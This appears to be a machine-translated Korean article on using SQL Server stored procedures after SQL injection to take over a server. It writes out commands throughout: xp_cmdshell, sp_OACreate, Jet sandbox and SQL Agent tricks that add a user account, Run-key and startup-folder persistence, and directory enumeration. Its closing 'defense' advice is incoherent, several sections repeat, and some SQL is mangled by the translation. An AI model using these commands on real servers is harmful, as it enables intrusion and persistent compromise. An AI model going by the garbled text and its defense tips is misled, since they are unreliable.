SQL Server는 중소 규모의 웹사이트에서 널리 사용되는 데이터베이스입니다. 강력한 기능으로 인해 많은 보안 문제도 발생했습니다. 중국에서는 오랫동안 SQL 주입 공격이 유행하여 침입 기술이 끊이지 않았습니다. SQL Server는 여러 문을 지원하기 때문에 많은 해커가 SQL Server에 SQL을 주입할 때 테이블 이름을 추측하는 등의 방법을 거의 사용하지 않고 SQL Server의 저장 프로시저 및 함수를 사용하여 빠르게 권한을 얻는 것으로 생각됩니다. 이러한 해킹을 소개하는 저장 프로시저 및 기능에 중점을 둡니다.
1. 시스템 명령 실행
저장 프로시저를 사용하면 시스템 명령 실행과 같은 셸을 빠르고 쉽게 얻을 수 있습니다. 저장소 확장 호출은 다음과 같습니다.
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell은 SQL Server와 함께 제공되는 시스템 명령 저장 프로시저이며 기본적으로 SYSADMIN 서버 역할만 실행할 수 있습니다.
SQL SERVER는 OLE 개체 인터페이스를 사용하여 OLE 개체, 즉 sp_OACREATE 및 sp_OAMethod에 액세스하는 데 사용할 수 있는 몇 가지 기능을 제공하여 OLE 컨트롤을 호출하고 간접적으로 셸을 얻을 수 있습니다. SP_OAcreate를 사용하여 wscript 개체를 호출합니다. shell은 @shell 변수에 할당된 다음 SP_OAMETHOD를 사용하여 @shell의 run 속성을 호출하여 명령을 실행합니다.
@shell INT 선언
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
샌드박스 액세스 모드를 켜십시오. 기본적으로 Jet 데이터 엔진은 select shell("net user ray ray /add")과 같은 SQL 문을 지원하지 않습니다. 그러나 JET 엔진의 샌드박스 모드를 켠 후에는 다음을 수행할 수 있습니다. 첫 번째 사용 xp_regwrite 저장 프로시저는 레지스트리를 다시 작성한 다음 OpenRowSet을 사용하여 시스템 자체와 함께 제공되는 ACCESS 데이터베이스 파일에 액세스한 다음 SQL 문을 실행하여 명령을 실행합니다.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
이 외에도 SQL 에이전트를 사용하여 명령을 실행할 수도 있습니다. 물론 먼저 SQL 에이전트 서비스를 열어야 합니다. 이 서비스는 먼저 xp_servicecontrol을 사용하여 SQLSERVERAGENT를 연 다음 SQL 예약 작업을 생성할 수 있습니다. 그런 다음 즉시 작업을 실행합니다.
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
msdb exec sp_delete_job null,'x' 사용
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
[컷 페이지]
2. 명령을 실행하기 위한 임의의 파일 작성
xp_regwrite를 사용하여 레지스트리 항목을 쓰고 실행할 명령을 RUN 시작 항목에 직접 씁니다.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
시작 항목에 로그 백업
데이터베이스의 전체 복구 모드를 활성화한 다음 새 테이블을 만들고, 백업할 명령을 로그에 삽입한 다음, 마지막으로 로그를 배치 파일로 사용자 시작 폴더에 백업할 수 있습니다. 기계가 다시 시작됩니다.
데이터베이스 변경 msdb 세트 복구 전체--
테이블 cmd 생성(이미지)--
디스크에 백업 로그 msdb = 'c:cmd1' init--
cmd에 삽입 (a) 값 ()--
백업 로그 ISTO를 디스크에 = 'C:Documents and SettingsAll Users"시작" 메뉴프로그램시작1.bat'--
드롭 테이블 cmd--
3. 임의의 권한을 가진 사용자가 명령을 실행할 수 있습니다.
모든 권한이 있는 서버 역할에서는 서버의 SYSADMIN 역할에 대한 계정과 암호를 알고 있는 한 OPENROWSET 매크로를 사용하여 명령을 실행할 수 있습니다.
OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','exec master..xp_cmdshell ''dir c:''')에서 *를 선택합니다.
[컷 페이지]
4. 기타 시스템 정보 취득
트래버스 디렉토리
exec master.dbo.xp_dirtree 'c:'
하위 디렉터리 가져오기
exec master.dbo.xp_subdirs 'c:'
사용 가능한 시스템 파티션 나열
exec master.dbo.xp_availablemedia
디렉터리나 파일이 존재하는지 확인
exec master..xp_fileexist 'c:boot.ini'
5. SQL 인젝션을 방어하는 방법이 있다
1. 테이블 구조를 수정합니다. 관리자 계정 필드의 데이터 유형을 수정하여 텍스트 유형을 최대 255 필드로 변경하고(실제로는 더 크게 만들고 싶다면 메모 유형을 선택하면 됩니다) 비밀번호 필드도 같은 방식으로 설정합니다.
2. 테이블을 수정합니다. ID1에 관리자 권한이 있는 계정을 설정하고, 한자를 많이(100자 이상) 입력하는 것이 좋습니다.
3. 실제 관리자 비밀번호를 ID2 다음 아무 곳에나 입력하세요.
위의 세 단계를 거쳐 데이터베이스 수정을 완료했습니다.
이때 수정이 완료되었나요? 사실은 그렇지 않습니다. 만든 ID1 계정은 실제로는 실제 권한이 있는 계정이라는 점을 이해해야 합니다. 이제 컴퓨터 처리 속도가 너무 빨라야 하는 소프트웨어를 접하게 됩니다. 계산해 보세요. 이는 안전하지 않습니다. 대부분의 분들이 이미 방법을 생각해 보셨을 거라 생각합니다. 네, 관리자 로그인 페이지 파일에 글자수 제한만 적어주시면 됩니다. 상대방이 이 계정 비밀번호를 수천 글자로 사용해도 차단되어 실제 비밀번호가 노출될 수 있습니다! 무제한.
[컷 페이지]2. 명령을 실행하기 위한 임의의 파일 작성
xp_regwrite를 사용하여 레지스트리 항목을 쓰고 실행할 명령을 RUN 시작 항목에 직접 씁니다.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
시작 항목에 로그 백업
데이터베이스의 전체 복구 모드를 활성화한 다음 새 테이블을 만들고, 백업할 명령을 로그에 삽입한 다음, 마지막으로 로그를 배치 파일로 사용자 시작 폴더에 백업할 수 있습니다. 기계가 다시 시작됩니다.
데이터베이스 변경 msdb 세트 복구 전체--
테이블 cmd 생성(이미지)--
디스크에 백업 로그 msdb = 'c:cmd1' init--
cmd에 삽입 (a) 값 ()--
백업 로그 ISTO를 디스크에 = 'C:Documents and SettingsAll Users"시작" 메뉴프로그램시작1.bat'--
드롭 테이블 cmd--
3. 임의의 권한을 가진 사용자가 명령을 실행할 수 있습니다.
모든 권한이 있는 서버 역할에서는 서버의 SYSADMIN 역할에 대한 계정과 암호를 알고 있는 한 OPENROWSET 매크로를 사용하여 명령을 실행할 수 있습니다.
OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','exec master..xp_cmdshell ''dir c:''')에서 *를 선택합니다.